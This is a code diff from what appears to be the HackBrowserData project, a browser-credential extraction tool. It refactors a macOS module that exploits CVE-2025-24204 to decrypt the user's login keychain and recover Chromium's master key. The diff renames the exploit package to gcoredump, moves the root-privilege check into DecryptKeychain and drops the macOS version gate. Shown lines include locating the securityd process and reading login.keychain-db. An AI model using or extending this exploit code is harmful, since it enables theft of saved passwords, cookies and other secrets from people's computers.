"github.com/moond4rk/hackbrowserdata/crypto" "github.com/moond4rk/hackbrowserdata/log" "github.com/moond4rk/hackbrowserdata/types" @@ -26,21 +26,15 @@ func (c *Chromium) GetMasterKey() ([]byte, error) { // don't need chromium key file for macOS defer os.Remove(types.ChromiumKey.TempFilename()) - // Try get the master key via CVE-2025-24204 - if cve2025_24204.GetMacOSVersion() == cve2025_24204.ExploitOSVersion { - if os.Geteuid() == 0 { - secret, err := cve2025_24204.DecryptKeychain(c.storage) - if err == nil { - log.Debugf("get master key via CVE-2025-24204 success, browser %s", c.name) - if key, err := c.parseSecret([]byte(secret)); err == nil { - return key, nil - } - } - - log.Warnf("get master key via CVE-2025-24204 failed: %v", err) - } else { - log.Warnf("CVE-2025-24204 exploit requires root privileges, skipping...") + // Try get the master key via gcoredump(CVE-2025-24204) + secret, err := gcoredump.DecryptKeychain(c.storage) + if err == nil && secret != "" { + log.Debugf("get master key via gcoredump(CVE-2025-24204) success, browser %s", c.name) + if key, err := c.parseSecret([]byte(secret)); err == nil { + return key, nil } + } else { + log.Warnf("get master key via gcoredump(CVE-2025-24204) failed: %v, skipping...", err) } // Get the master key from the keychain diff --git a/browser/exploit/cve2025_24204/cve2025_24204.go b/browser/exploit/gcoredump/gcoredump.go similarity index 97% rename from browser/exploit/cve2025_24204/cve2025_24204.go rename to browser/exploit/gcoredump/gcoredump.go index f349bc4a..cb631d25 100644 --- a/browser/exploit/cve2025_24204/cve2025_24204.go +++ b/browser/exploit/gcoredump/gcoredump.go @@ -1,13 +1,15 @@ //go:build darwin +package gcoredump + // CVE-2025-24204 // Logic ported from https://github.com/FFRI/CVE-2025-24204/tree/main/decrypt-keychain - -package cve2025_24204 +// https://support.apple.com/en-us/122373 import ( "debug/macho" "encoding/binary" + "errors" "fmt" "os" "os/exec" @@ -23,8 +25,6 @@ import ( "github.com/moond4rk/hackbrowserdata/utils/chainbreaker" ) -const ExploitOSVersion = "15.0" - var ( homeDir, _ = os.UserHomeDir() LoginKeychainPath = homeDir + "/Library/Keychains/login.keychain-db" @@ -72,6 +72,10 @@ type addressRange struct { } func DecryptKeychain(storagename string) (string, error) { + if os.Geteuid() != 0 { + return "", errors.New("requires root privileges") + } + // find securityd PID pid, err := FindProcessByName("securityd", true) if err != nil { diff --git a/utils/chainbreaker/chainbreaker.go b/utils/chainbreaker/chainbreaker.go index e3565c85..37c3ae75 100644 --- a/utils/chainbreaker/chainbreaker.go +++ b/utils/chainbreaker/chainbreaker.go @@ -88,7 +88,7 @@ type dbBlob struct { } type keyBlobRecordHeader struct { - RecordSize uint32 + RecordSize uint32 } type keyBlob struct {